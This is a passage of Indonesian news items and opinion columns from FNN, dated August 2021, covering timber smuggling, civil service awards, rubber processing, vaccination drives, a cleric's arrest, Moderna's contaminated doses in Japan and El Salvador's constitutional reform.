berlanjut," kata Peskov. Empat pesawat militer Rusia mengevakuasi warga Rusia dan warga negara lainnya dari Kabul pada Rabu (25/8) atas perintah Presiden Vladimir Putin, saat Moskow mengadakan latihan militer yang melibatkan pasukan tanknya di negara tetangga Tajikistan. Sementara itu, Tajikistan, sekutu Rusia dan tetangga Afghanistan di utara, pekan ini memperingatkan tidak akan mengakui pemerintah Taliban yang eksklusif. (mth)

Gakkum KLHK Sulawesi Gagalkan Penyelundupan Kayu Meranti ke Sulsel

Kendari, FNN - Tim Operasi Pengamanan Hutan Tumbuhan dan Satwa Liar Satuan Polisi Kehutanan Reaksi Cepat (SPORC) Brigade Anoa, Balai Pengamanan dan Penegakan Hukum (Gakkum) Kementerian Lingkungan Hidup dan Kehutanan Wilayah Sulawesi menggagalkan upaya penyelundupan kayu meranti ke wilayah Povinsi Sulawesi Selatan (Sulsel). Kepala Balai Gakkum KLHK Wilayah Sulawesi Dodi Kurniawan melalui keterangan tertulisnya yang diterima di Kendari, Kamis, menyebut hal itu dilakukan bersama dengan Balai Konservasi Sumber Daya Alam (BKSDA) dan Polda Sultra pada 19 Agustus 2021. "SPORC Brigade Anoa, Balai Gakkum KLHK Wilayah Sulawesi bersam BKSDA dan Polda Sultra mengamankan satu unit kapal bermuatan kayu olahan jenis meranti sebanyak 20 meter kubik di perairan Kabupaten Muna, Desa Langkoroni, Kecamatan Maligano, Kabupaten Muna, Provinsi Sulawesi Tenggara," kata dia. Ia menyampaikan, penyidik Ditjen Gakkum KLHK menetapkan Kapten Kapal Layar Motor Bunga Setia bernama AR (37) sebagai tersangka. “Saya berterima kasih kepada Anggota SPORC Brigade Anoa Pos Gakkum Kendari dan para penyidik, serta pihak lain yang telah mendukung penanganan kasus ini, terutama Kepala Balai KSDA Sultra dan Kapolda Sultra,” ujar dia. Dodi menuturkan, penyidik Ditjen Gakkum tidak akan berhenti sampai pada tersangka AR, namun akan dilakukan pengembangan ke pihak lain yang terlibat agar bisa memberikan efek jera. Berdasarkan pengakuan kapten kapal berinisial AR, termasuk dua anggotanya yakni LI (37) sebagai BAS kapal, dan ND (30) ABK kapal, menerangkan kayu olahan itu diangkut dari Pelabuhan Desa Longkoroni dengan rakit. Selanjutnya kayu-kayu itu dipindahkan ke atas kapal layar motor Bunga Setia atas perintah seorang cukong berinisial SM. "Kayu-kayu tidak dilengkapi dokumen sahnya hasil hutan maupun dokumen kepemilikan lainnya. Kayu-kayu itu diduga berasal dari kawasan konservasi BKSDA Sulawesi Tenggara, wilayah kerja Seksi Konservasi Wilayah I Baubau. Kemudian diangkut menuju wilayah Sulawesi Selatan," kata dia. Ia menjelaskan, kasus itu berawal dari informasi Balai KSDA Sulawesi Tenggara terkait maraknya peredaran hasil hutan berupa kayu olahan secara ilegal yang diangkut oleh kapal layar motor di sekitar pelabuhan Desa Langkoroni. Menindaklanjuti informasi itu, tim operasi turun ke lokasi dan menemukan 1 kapal layar motor Bunga Setia mengangkut hasil hutan kayu olahan jenis meranti itu. Dari hasil pemeriksaan saksi-saksi, ahli, dan barang bukti, Tim Penyidik Seksi Wilayah I Balai Gakkum KLHK Wilyah Sulawesi menemukan bukti permulaan yang cukup untuk menentukan tersangka. "Pada tanggal 23 Juli 2021, penyidik menetapkan AR Kapten Kapal Layar Motor Bunga Setia sebagai tersangka untuk masuk ke proses penyidikan lebih lanjut atas perbuatannya," kata Dodi menabahkan. Tersangka diduga melanggar Pasal 83 ayat 1 huruf b juncto Pasal 12 huruf e Undang-Undang No. 18 Tahun 2013 tentang Pencegahan dan Pemberantasan Perusakan Hutan, yang telah diubah dengan Pasal 37 angka 13 Pasal 83 ayat 1 huruf b juncto Pasal 37 angka 3 Pasal 12 huruf e, Undang-Undang No. 11 Tahun 2020 tentang Cipta Kerja dan/atau Pasal 88 ayat 1 huruf a juncto Pasal 16 juncto Undang-Undang Nomor 18 Tahun 2013 tentang Pencegahan dan Pemberantasan Perusakan Hutan, dengan ancaman pidana penjara paling lama lima tahun, denda paling banyak Rp2,5 miliar. (mth)

Banten Raih Penghargaan BKN Award 2021

Serang, FNN - Pemerintah Provinsi (Pemprov) Banten menerima empat penghargaan BKN Award 2021. Satu di antaranya meraih terbaik ke-1 Kategori Perencanaan Kebutuhan, Pelayanan Pengadaan, Kepangkatan dan Pensiun. Selain itu, terbaik ke-1 Kategori Implementasi SAPK dan Pemanfaatan CAT, terbaik ke-2 Kategori Penilaian Kompetensi; dan, terbaik ke-3 Kategori Pengawasan dan Pengendalian. “Satu kebahagiaan buat saya dan kita semua. Pemprov Banten, mendapat empat penghargaan dalam BKN Award 2021," kata Gubernur Banten Wahidin Halim saat menerima rombongan Badan Kepegawaian Nasional (BKN), di Rumah Dinas Gubernur Banten, Jl. Jenderal Ahmad Yani No. 158 Serang, Kamis, 26 Agustus 2021. "Saya senang, karena prestasi ini kami kejar dalam rangka perbaikan administrasi kepegawaian" kata Wahidin usai menerima piagam penghargaan BKN Award 2021 yang diserahkan Kepala BKN Regional III Bandung Tauchid Djatmiko. Menurut Wahidin, penghargaan bukanlah tujuan. Namun, tujuan utamanya adalah dalam rangka peningkatan dan penyempurnaan layanan publik. "Penghargaan ini memacu kita untuk lebih baik di masa depan," kata Wahidin, sebagaimana dikutip dari Antara. Sementara itu Kepala BKN Regional III Bandung Tauchid Djatmiko mengatakan, jika direkap di tingkat nasional, Pemprov Banten meraih juara umum. Akan tetapi, dalam BKN Award tidak ada penghargaan menjadi juara umum. "Apresiasi yang tinggi dari Bapak Kepala BKN kepada Pemprov Banten. BKN Award merupakan penghargaan yang diberikan kepada instansi pusat dan daerah atas prestasinya dalam pengelolaan Aparatus Sipil Negara (ASN)," kata Tauchid. Ia mengatakan, penilaian secara bertahap dilakukan satu tahun penuh oleh Kantor Regional BKN, dan hasilnya diserahkan ke tim yang selanjutnya dievaluasi tim pusat. Evaluasi dilakukan secara diam-diam tanpa diketahui oleh pihak yang bersangkutan. BKN Award 2021 yang digelar secara daring, Pemprov Banten Raih Empat Penghargaan Dalam BKN Award 2021 pada 1 Juli 2021 lalu. Pemprov Banten berhasil meraih empat (4) penghargaan dalam manajemen Aparatur Sipil Negara (ASN). Penghargaan tersebut diumumkan pada Rapat Koordinasi Nasional (Rakornas) Kepegawaian yang dipusatkan di Bali dan dibuka oleh Wakil Presiden RI KH Ma'ruf Amin. Penghargaan manajemen ASN diberikan kepada daerah yang dianggap terbaik dalam tiga kategori. Pemprov Banten berhasil meraih penghargaan pada kategori pertama (perencanaan kebutuhan, pelayanan kepangkatan, dan pensiun), kategori kedua (penerapan aplikasi pelayanan kepegawaian dan pemanfaatan Computer Assisted Test /CAT), kategori ketiga (penilaian kompetensi), serta kategori kelima (komitmen pengawasan dan pengendalian). (MD).

Sumatera Selatan Dorong Penambahan Unit Pengolahan Bokar

Palembang, FNN - Pemerintah Provinsi Sumatera Selatan mendorong penambahan Unit Pengolahan dan Pemasaran Bokar (UPPB) untuk memperbaiki harga dan sekaligus meningkatkan kualitas karet. Kepala Bidang Pengolahan dan Pemasaran Hasil Perkebunan Dinas Perkebunan Provinsi Sumatera Selatan Rudi Arpian di Palembang, Kamis, mengatakan saat ini sudah terjadi penambahan dari 279 UPPB pada Desember 2021 menjadi 302 UPPB per 30 Mei 2021 (9 UPPB sudah diregister dan 14 UPPB dalam proses). Namun, jumlah ini perlu ditingkatkan lagi karena Sumsel merupakan salah satu daerah penghasil karet terbanyak di Indonesia, yakni memiliki kebun karet seluas 1.319.738 Hektare dengan produksi 1.053.272 ton karet kering. Saat ini pemprov mendorong UPPB teregistrasi agar dapat mengakses beragam bantuan stimulus perbaikan mutu karet. Salah satu bantuan bersumber dari Ditjen Perkebunan melalui Direktorat PPH Perkebunan yakni pemberian bahan pembeku lateks. “Sebenarnya untuk teregistrasi ini tidak sulit, cukup UPPB mengikuti berbagai tahapan, mulai dari sosialisasi, melatih membuat Dokumen Sistem Mutu hingga pembinaan kepada anggota untuk kegiatan pengolahan dan pemasaran bahan olahan karet (bokar),” kata dia. Jika registrasi sudah keluar maka UPPB tersebut juga menjadi prioritas binaan dinas terkait di daerahnya masing-masing. Secara nasional jumlah UPPB yang sudah diregistrasi sebanyak 545 UPPB dari 13 provinsi penghasil karet. Sumatera Selatan menjadi provinsi yang terbanyak dengan jumlah 290 UPPB, kemudian disusul Kalimantan Selatan 152 UPPB, Kalimantan Tengah 33 UPPB, Riau 27 UPPB, Jambi 26 UPPB, Kalimantan Barat 10 UPPB dan provinsi lain 33 UPPB. Menurut Rudi, keberhasilan membentuk ratusan UPPB ini berkat adanya pemasaran bokar melalui Lelang 4S (Satu lokasi, Satu mutu, Satu harga dan Satu hari lelang). Dalam proses ini terdapat perbedaan harga antara Rp3.000-Rp4.000 antara menjual secara mandiri/tradisional dengan menjual secara berkelompok dalam kelembagaan UPPB melalui lelang 4S. Ini menjadi salah satu penyumbang naiknya Nilai Tukar Petani (NTP) sektor perkebunan. Harga jual karet rakyat dengan sistem lelang 4S ini jauh lebih tinggi lantaran rantai tata niaga menjadi lebih pendek. Adanya perbedaan harga ini juga membuat UPPB di Provinsi Sumatera Selatan cepat bertambah. “Saat ini yang masih dalam pembinaan ada 25 UPPB, tapi target kami hingga akhir tahun sebanyak 50 UPPB,” kata dia. UPPB ini menyerap produk petani dalam bentuk bokar dengan harga sekitar Rp9.000 - Rp10.000 per Kg, sementara jika sudah berubah menjadi lateks harga berlipat menjadi Rp20.000 per Kg. (mth)

Direktur Utama PT Jakarta Propetindo Diganti

Jakarta, FNN - Pemegang saham merombak direksi dan komisaris PT Jakarta Propertindo (Jakpro) melalui sebuah keputusan para pemegang saham (KPPS) di luar Rapat Umum Pemegang Saham (RUPS) BUMD DKI Jakarta itu, Rabu (25/8). Hasilnya, tulis siaran pers PT Jakpro di Jakarta, Kamis, Direktur Bisnis Telkom Property Widi Amanasto menjabat sebagai Direktur Utama Jakpro, menggantikan Dwi Wahyu Daryoto yang menjabat sejak pertengahan 2018. Kemudian pemegang saham juga mengangkat Gunung Kartiko sebagai Direktur Pengembangan Bisnis Jakpro menggantikan Moh. Hanief Arie Setianto yang menjabat sejak akhir 2018. Sebelumnya Gunung Kartiko adalah Dirut PT Jakarta Infrastruktur Propertindo. Selain itu, terdapat pula perubahan struktur di jajaran Komisaris Jakpro. Dikutip dari Antara, pemegang saham menetapkan Sekretaris Jenderal (Sekjen) Kementerian Dalam Negeri (Kemendagri) Muhammad Hudori sebagai komisaris Jakpro yang baru menggantikan Hadi Prabowo. Kelapa Divisi Sekretaris Perusahaan Jakpro Nadia Diposanjoyo mewakili seluruh insan perusahaan mengapresiasi segala jasa, tenaga, pengabdian dan sumbangsih pikiran yang telah diberikan kepada Direksi dan Komisaris Jakpro selama masa jabatannya berlangsung. Selain itu, Nadia juga mengucapkan selamat bertugas dan mengemban amanah dalam membangun Jakarta kepada jajaran Direksi dan Komisaris yang baru bergabung. Harapannya, dengan komposisi manajemen baru itu, Jakpro dapat tinggal landas setelah berbagai transformasi sudah dilakukan selama tiga tahun terakhir, baik itu transformasi dari sisi pengelolaan yang menjadikan Jakpro menjadi perusahaan yang terdepan dan terbaik dalam membangun Jakarta. Adapun susunan jajaran manajemen perusahaan yang baru, menjadi: Dewan Komisaris Jakpro Komisaris Utama: Hamdan Zoelva Komisaris: M. Hudori Komisaris: Yusmada Faizal Komisaris: Nurmansjah Lubis Direksi Jakpro Direktur Utama: Widi Amanasto Direktur Keuangan : Yuliantina Wangsawiguna Direktur Pengembangan Bisnis : Gunung Kartiko Direktur SDM dan Umum: M. Taufiqurrachman Direktur Pengelolaan Aset: M. Aprindy. (MD).

OJK Dorong Masyarakat Waspadai Investasi Ilegal

Solo, FNN - Otoritas Jasa Keuangan (OJK) Surakarta, Jawa Tengah, mendorong masyarakat untuk mewaspadai investasi ilegal yang masih marak hingga saat ini. Kepala OJK Regional 3 Jawa Tengah dan Daerah Istimewa Yogyakarta Aman Santosa di Semarang, Kamis, mengatakan ajakan kepada masyarakat untuk menanamkan uangnya pada produk investasi ilegal dengan iming-iming keuntungan yang tinggi dalam waktu singkat makin bervariasi jenis dan metodenya. Di sisi lain, menurut dia tidak sedikit orang yang terjerat pinjaman berbasis daring karena kemudahan dan kepraktisan yang diberikan. Kondisi tersebut salah satunya dipengaruhi oleh masih kurangnya tingkat literasi masyarakat. Oleh karena itu, untuk memberikan pemahaman kepada masyarakat terkait investasi maupun pinjaman berbasis daring maka OJK Regional 3 Jawa Tengah dan DIY menyelenggarakan webinar dengan tema "Waspada Investasi dan Perlindungan Sektor Jasa Keuangan di Era Digital dengan peserta seluruh guru SMA, SMK, Madrasah Aliyah, dan Pesantren se-Jawa Tengah, serta masyarakat umum lainnya pada Kamis (26/8). "Kegiatan edukasi kami rasa sangat penting mengingat berdasarkan survei OJK tahun 2019, tingkat literasi keuangan yang merupakan indeks level pengetahuan masyarakat terhadap jenis produk keuangan di Jawa Tengah tergolong masih rendah yakni sebesar 47,38 persen," katanya. Meski demikian, dikatakannya, angka tersebut sudah lebih tinggi dibandingkan dari Indeks literasi nasional sebesar 38,03 persen. Menurut dia, hal tersebut mencerminkan masih perlunya edukasi kepada masyarakat tentang produk keuangan, khususnya produk investasi keuangan yang legal. Sementara itu, dikatakannya, hingga saat ini OJK Kantor Regional 3 Jawa Tengah dan DIY sudah menerima pengaduan dan permintaan informasi dari masyarakat terkait pinjaman berbasis daring sebanyak 64 laporan, Kantor OJK Yogyakarta sebanyak 51 laporan, dan Kantor OJK Tegal sebanyak 42 laporan. "Satu di antara pengaduan tersebut merupakan pengaduan dari guru yang terjerat pinjol ilegal," katanya. Pada kesempatan yang sama, Gubernur Jawa Tengah Ganjar Pranowo berharap kegiatan webinar tersebut bisa memberikan pencerahan kepada seluruh masyarakat khususnya di Jawa Tengah agar tidak terjerat investasi bodong. Selain itu, dengan adanya edukasi tersebut diharapkan ketika masyarakat memerlukan pembiayaan dapat memilih pinjaman berbasis daring yang legal. "Kalau ada permasalahan atau perlu informasi tentang investasi dan pinjaman 'online' ilegal, panjenengan bisa tanya atau hubungi OJK," katanya. (mth)

TNI AL Laksanakan "Serbuan Vaksinasi" di Pelabuhan Perikanan Bitung

Manado, FNN - Pangkalan Utama TNI Angkatan Laut (Lantamal) VIII melaksanakan "Serbuan Vaksinasi" COVID-19 kepada masyarakat maritim di Pelabuhan Perikanan Samudera (PPS) Bitung, Sulawesi Utara, Kamis. Komandan Lantamal (Danlantamal) VIII Brigadir Jenderal TNI (Mar) I Wayan Ariwijaya saat meninjau vaksinasi tersebut mengatakan tujuan dilaksanakannya vaksinasi di Pelabuhan Pelelangan Ikan Bitung karena pelabuhan tersebut merupakan salah satu penopang perekonomian di Sulut. “Satu hari bisa menghasilkan 100 ton ikan, bahkan bisa lebih. Sehingga para pelaku ekonomi kita laksanakan vaksinasi secepatnya agar perekonomian di Sulut semakin tumbuh,” kata Danlantamal Danlantamal berharap vaksinasi akan terus berjalan sesuai program pemerintah. "Akan kembali menggelar vaksinasi karena dari pantauan ada sebagian masyarakat yang datang tidak kebagian vaksin," katanya. Danlantamal juga mengimbau kepada masyarakat yang telah divaksin, agar tetap disiplin dalam menerapkan protokol kesehatan, baik dilaksanakan pengawasan maupun tidak. Tingginya antusias masyarakat untuk vaksinasi membuat Prajurit Yonmarhanlan VIII Bitung yang turut mengamankan lokasi memperketat antrian untuk menjaga jarak dan terus mengurai agar tidak berkerumun. Pada kegiatan itu, Rumah Sakit TNI AL (Rumkital) dr Wahyu Slamet Bitung menargetkan 200 dosis vaksin Sinovac dan menurunkan dua dokter, vaksinator serta puluhan tenaga kesehatan. Hadir pada Serbuan Vaksinasi tersebut Wadan Lantamal VIII Kolonel Laut (P) Apriyani serta sejumlah pejabat utama Lantamal VIII. (mth)

Penceramah Yahya Waloni Ditangkap Polisi

Jakarta, FNN - Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri, Brigadir Jenderal Rusdi Hartono benarkan penangkapan Muhammad Yahyu Waloni, pendakwah yang dikenal keras dalam menyampaikan ceramah-ceramahnya. "Ya benar," kata Rusdi saat dikonfirmasi di Jakarta, Kamis, 26 Agustus 2021. Rusdi menyebutkan, penangkapan Yahya Waloni terkait konten ceramahnya yang bermuatan ujaran kebencian serta mengandung SARA (Suku Agama Ras dan Antargolongan). "Terkait ujaran kebencian berdasarkan SARA," ujar Rusdi. Saat ditanya apakah Yahya Waloni telah ditetapkan sebagai tersangka, Rusdi mengatakan masih menunggu informasi dari penyidik Direktorat Tindak Pidana Siber Bareskrim Polri. "Nanti akan dijelaskan, saya masih menunggu data dari Bareskrim," kata Rusdi, sebagaimana dikutip dari Antara. Berdasarkan informasi yang diperoleh di lapangan, Yahya Waloni ditangkap di rumahnya di kawasan Cibubur, sekitar pukul 17.00 WIB. Sebelumnya, Yahya Waloni dilaporkan oleh komunitas Masyarakat Cinta Pluralisme ke Bareskrim Polri soal dugaan penistaan agama terhadap Injil. Pelaporan tersebut tertuang dalam Laporan Polisi (LP) Nomor: LP/B/0287/IV/2021/BARESKRIM. Yahya Waloni dilaporkan dengan dugaan kebencian atau permusuhan individu dan/atau antargolongan (SARA) pada Selasa (27/4). Dalam kasus tersebut. Yahya dilaporkan bersama pemilik akun YouTube Tri Datu. Dalam video ceramah itu, Yahya Waloni menyampaikan bahwa Bible tak hanya fiktif, tapi juga palsu. Di dalam LP tersebut, keduanya disangkakan dengan UU Nomor 19 Tahun 2016 tentang Perubahan atas UU Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik Pasal 45 A juncto Pasal 28 Ayat (2) dan/atau Pasal 156a KUHP. (MD).

Moderna Tahan 1,63 Juta Dosis Vaksin di Jepang Karena Kontaminasi

Bengaluru, FNN - Moderna telah menahan pasokan sekitar 1,63 juta dosis vaksin Covid-19 di Jepang. Hal tersebut dilakukan setelah laporan adanya kontaminasi materi partikulat pada botol yang diduga melibatkan jalur produksi di Spanyol. Meskipun Moderna mengatakan tidak ada masalah dalam hal keamanan atau kemanjurannya, penangguhan tersebut menjadi kemunduran baru bagi mereka, karena mengganggu pasokan ke berbagai negara, termasuk Korea Selatan. Penangguhan tersebut telah mendorong beberapa perusahaan Jepang membatalkan vaksinasi pekerja yang direncanakan pada Kamis (26/8). Hal itu karena sebagian besar dosis yang dipermasalahkan telah dipasok ke tempat vaksinasi massal dan tempat kerja di Jepang. "Moderna mengonfirmasi telah diberitahu tentang kasus partikel yang terlihat dalam botol produk obat dari vaksin Covid-19-nya," kata Moderna dalam sebuah pernyataan, sebagaimana dikutip dari Antara. "Perusahaan sedang menyelidiki laporan dan tetap berkomitmen bekerja secepatnya dengan mitranya, Takeda (Pharmaceutical), dan regulator untuk mengatasi hal ini," kata Moderna. Kontaminasi bisa jadi disebabkan oleh masalah manufaktur pada salah satu jalur produksi di kontraktor manufaktur di Spanyol. Belum jelas apakah masalah tersebut berdampak pada pasokan ke negara lain. Rovi Spanyol, yang membotolkan atau "mengisi dan menyelesaikan" vaksin Moderna untuk pasar selain Amerika Serikat, belum dapat dimintai komentarnya. Takeda mengatakan, pihaknya melakukan pemeriksaan darurat setelah partikulat ditemukan di banyak botol vaksin di tempat vaksinasi di Jepang. Kementerian Kesehatan Jepang telah memutuskan menarik beberapa dosis sebagai tindakan pencegahan setelah berkonsultasi dengan Takeda. Akan tetapi, mereka mengatakan akan berusaha meminimalkan dampak penarikan pada program vaksinasi. Kepala Sekretaris Kabinet Katsunobu Kato mengatakan, tidak ada kasus yang dilaporkan tentang masalah kesehatan terkait suntikan yang terkontaminasi. Antara 6 Agustus dan 20 Agustus, vaksin dari lot tersebut digunakan di pusat vaksinasi publik massal di Osaka, menurut kementerian pertahanan. Kementerian tidak mengatakan berapa banyak orang yang terkena dampak. Japan Airlines mengatakan telah membatalkan beberapa vaksinasi Covid-19 untuk karyawannya pada Kamis setelah menerima vaksin Moderna yang terkontaminasi. Operator Jepang lainnya, ANA, juga menunda vaksinasi pada Kamis menurut kantor berita Kyodo. Perdana Menteri Yoshihide Suga mengatakan, sekitar 60 persen masyarakat akan divaksinasi penuh pada akhir September. Jepang memiliki cukup vaksin untuk memberikan dosis penguat jika keputusan seperti itu diambil. (MD).

KPK = Kapan Pemberantasan Korupsi?

Oleh Sugengwaras Wacana perekrutan Tim Testimoni dengan mencoba mantan pidana korupsi sebagai penyuluh anti korupsi tentu saja banyak mengundang pro kontra. BARANGKALIi gagasan ini muncul dari fenomena Ahok sang penista agama, mantan napi bisa menjadi petinggi BUMN, puluhan orang mantan ahli menangani korupsi justru dipecat melalui tes wawasan kebangsaan, bahkan tidak boleh lagi masuk anggota KPK, para tahanan politik ulama dan pengkritis pemerintah diborgol tapi bagi yang lain seperti Mohamad Kece si penoda agama masih bisa semangat bergelora tanpa diborgol, atau beberapa tahanan pidana korupsi masih bisa cengengas- cengenges dan lenggang kangkung, dengan sanksi hukum yang spektakuler. Juga mungkin penggagas berinspirasi dari pemikiran bahwa mantan pidana bisa jadi orang baik, sadar dan bertaubat karena pengalaman jiwa raganya selama ditahan yang bergelut dengan sedih, malu, menderita, bahagia, bangga dan berani. Dalam politik tidak ada yang tetap dan pasti, kecuali perubahan karena kepentingan itu sendiri. Dalam hukum yang mengandung sifat mengikat untuk mengikuti aturan dan sifat memaksa untuk menjalani resiko bagi yang melanggar, tidak ada yang murni karena adil belum tentu benar, sebaliknya benar juga belum tentu dirasa adil. Maka dengan semakin seringnya fenomena fenomena aneh yang mengandung kejutan dan kontroversial ini perlu dipekai dan dipedulii namun juga tetap waspada terhadap kemungkinan latar belakang, motif, maksud dan tujuanya, agar masyarakat tidak terpengaruh negatif, hanyut dan larut mengikuti arus penyesatan, pengalihan isu, pengelabuhan dan penjebakan. Artinya banyak kemungkinannya hal hal yang kontroversial itu dijadikan moment perubahan berpikir yang bisa jadi sensitif mengiringi situasi dan kondisi NKRI ini. Cermati fenomena pasang surutnya pandemi Covid -19, cemas harap rakyat atas kebijakan PPKM, wacana bergeser mundurnya pelaksanaan pilkada, pilpres, bertahannya ambang batas 20 %, jabatan presiden 3 periode serta diserentakkannya pilkada dan pilpres Di sisi lain, penggabungan, pengelompokan dan penampilan para tokoh dan fans justru bermunculan di tengah belum jelasnya berakhirnya pandemi, kebohongan rezim, kaburnya penanganan koruptor kakap, abainya hutang negara yang sangat membebani generasi penerus serta terabaikannya TKA dibalik digembar-gemborkannya kembali pemindahan Ibu Kota Negara Baru di Kaltim serta diam diamnya penyusunan BPIP / HIP yang siap menerkam Pancasila yang selama ini kita pedomani Hanya sosok pemimpin yang amanah, jujur, berani, Arief dan bijak serta berwawasan luas yang bisa menyikapi fenomena ini, Semoga dengan bekal persatuan dan kesatuan dalam bingkai kebhinekaan ini, NKRI segera lolos, bangun dan bangkit kembali tuk menjadi negara yang maju, adil, makmur, sejahtera dan Jaya....Aamiin......!!! *) Purnawirawan TNI AD

Koalisi Para Penipu

By Asyari Usman MEREKA sudah bertemu. Para penipu rakyat itu sudah saling berangkulan erat. Untuk mematangkan kerja sama yang lebih spektakuler lagi. Yaitu, memperpanjang penipuan terhadap rakyat. Atau, sinonimnya, memperpanjang pengabdian kepada oligarki bisnis. Yang diperpanjang adalah kesempatan bagi oligarki untuk menguras kekayaan Indonesia selama sekian tahun lagi. Tanpa syarat. Tanpa pengawasan. Tanpa rintangan. Pokoknya, oligarki bisnis mendapatkan perpanjangan “kontrak pengurasan” Indonesia. Dan dijamin aman. Kemudian, yang juga diperpanjang adalah kekuasaan para politikus antek oligarki. Mereka bisa berkuasa “extra time”. Ada tambahan waktu. Yang berarti tambahan uang haram dari oligarki yang mereka beri perpanjangan kontrak pengurasan. Sebagian politikus akan punya kesempatan tambahan untuk menumpuk kekayaan pribadi. Lalu, memperpanjang peluang para pemegang kekuasaan nyata di lapangan. Yaitu, mereka yang langsung berurusan dengan aktivitas harian operasi pengurasan kekayaan rakyat itu. Mereka pun mendapatkan bagian masing-masing sesuai proporsi peranan mereka. Itulah hasil pertemuan Koalisi Para Penipu. Koalisi besar yang memiliki kekuasaan untuk berbuat khianat dan jahat atas nama konstitusi. Mereka selalu, dengan licik dan cerdik, menggunakan celah-celah konstitusi untuk menipu rakyat. Tanpa ragu dan malu, mereka menyebut manuver bejat itu sebagai langkah yang konstitusional. Begitulah Koalisi Para Penipu. Mereka sangat pintar dan terlatih mencari momen yang tepat untuk menipu. Wabah Covid menyediakan peluang yang terbaik untuk mereka. Peluang penipuan konstitusional yang berkedok situasi darurat. Apa yang bisa dilakukan rakyat untuk mencegah penipuan ini? Nyaris tidak ada. Kecuali melalui komentar atau protes di media sosial (medsos). Tapi, reaksi melawan di medsos tidak akan berdampak. Skenario penipuan akan jalan terus. Sebagai penutup, kita hanya bisa mengulangi lagi bahwa yang berkuasa di Indonesia ini adalah oligarki bisnis. Merekalah yang merancang penipuan konstitusional itu. Dengan menggunakan tangan-tangan rakus, khianat, dan ceroboh yang sedang memegang kuasa legislatif dan eksekutif. Antek-antek oligarki itu tidak peduli kalau kecerobohan dan kerakusan mereka akan menghancurkan masa depan bangsa dan negara. Bagi mereka, kepuasan sesaat ketika mereka berkuasa sudah cukup. Itulah Koalisi Para Penipu. Mereka yakin penipuan lebih lanjut akan berhasil. Wallahu a’lam.[] (Penulis wartawan senior)

El Salvador Akan Ajukan Rencana Reformasi Konstitusi

San Salvador, FNN - Pemerintah El Salvador akan mengajukan proposal pada Sabtu ( 28/8) untuk mereformasi Konstitusi, berusaha untuk memperpanjang masa jabatan presiden, termasuk kemungkinan mencabut mandat presiden dan mengganti pengadilan pemilihan. Setelah satu tahun menganalisis kemungkinan perubahan terhadap hak-hak dasar, sistem politik dan ekonomi, dan hukum acara konstitusional, tim pengacara yang dipimpin oleh Wakil Presiden Felix Ulloa menyusun dokumen dengan 215 usulan reformasi Konstitusi. Reformasi akan memperpanjang masa jabatan presiden menjadi enam tahun dari lima tahun, mulai tahun 2029, dan mengamanatkan bahwa seorang presiden hanya dapat dipilih kembali untuk masa jabatan yang tidak berturut-turut. Ini juga mencakup mekanisme partisipasi warga negara seperti referendum dan plebisit, serta pembentukan pengadilan konstitusi dan lembaga pemilihan nasional yang baru. Tim hukum akan membahas proposal selama akhir pekan dengan wartawan lokal dan internasional, menurut undangan yang dikirim pada Rabu. Mereka telah mengadakan pertemuan tertutup dengan korps diplomatik, akademisi dan organisasi masyarakat sipil. Proposal akhir akan disampaikan pada September kepada Presiden Nayib Bukele, yang harus mengevaluasi rencana reformasi sebelum mengirimkannya ke Kongres, di mana sekutunya memegang mayoritas utama. Di Kongres, paket reformasi perlu disetujui di satu badan legislatif dan diratifikasi oleh badan lainnya, sebelum bisa berlaku. Tim pengacara telah mengusulkan untuk melewati Kongres dan meratifikasi perubahan Konstitusi melalui referendum. Awal bulan ini, obligasi pemerintah El Salvador jatuh akibat pengungkapan rencana reformasi, mendorong Ulloa untuk mengkritik pasar keuangan internasional. Bukele telah bentrok dengan legislatif dan Mahkamah Agung, dan kelompok hak asasi mengatakan dia telah menunjukkan kecenderungan otoriter, mendorong beberapa orang untuk meragukan rencana reformasi. "Kita harus melihat apa maksud keseluruhan dengan proses reformasi dan Konstitusi baru," kata Eduardo Escobar, ketua kelompok hak asasi Accion Ciudadana. (mth)

Rumah Sakit Masih Tunggu Angka Pasti Kekebalan Komunal di DKI Jakarta

Jakarta, FNN - Dokter di Rumah Sakit Umum Daerah (RSUD) Kramat Jati, Jakarta Timur, sampai saat ini masih menunggu angka pasti capaian kekebalan komunal (herd immunity) di DKI Jakarta. "Sebenarnya untuk angka resminya masih kita tunggu. Angka sekarang cuma atas dasar vaksin pertama yang sudah mencapai 100 persen dan peningkatan kasus COVID-19 di bulan Juli kemarin. Mungkin atas dasar itu muncul pernyataan 'herd immunity' di DKI Jakarta sudah tercapai," kata dr Nur Chandra Sp.PD di RSUD Kramat Jati, Kamis. Menurut Chandra, meskipun vaksin pertama sudah mencapai100 persen, akan tetapi vaksin kedua belum mencapai angka 70 persen. Chandra menambahkan, sudah banyak warga DKI Jakarta yang mendapatkan vaksin COVID-19. Namun hal itu tidak membuat "herd immunity" otomatis tercapai di Jakarta. "Buktinya kasus-kasus penularan COVID-19 masih terjadi di masyarakat termasuk di Ibu Kota," katanya. Terkait angka tersebut, Chandra mengusulkan apabila nanti pembelajaran tatap muka jadi digelar sebaiknya dilakukan secara bertahap. "Syaratnya guru dan murid sudah divaksin dan menerapkan protokol kesehatan yang ketat," kata Chandra. Dia juga berharap agar aktivitas di perkantoran tetap mengombinasikan dengan bekerja dari rumah meskipun kasus COVID-19 sudah mengalami penurunan. "Sama halnya dengan pembelajaran tatap muka, aktivitas perkantoran saya harap juga mensyaratkan vaksinasi kepada seluruh pekerja dan tetap menerapkan protokol kesehatan yang ketat," kata Chandra. Sebelumnya, epidemilog dari Universitas Griffith Australia, Dicky Budiman menyatakan tak sependapat kalau disebut "herd immunity" telah tercipta di Ibu Kota. (mth)

BPJAMSOSTEK Hadapi Tantangan Masa Depan Akusisi Kepesertaan

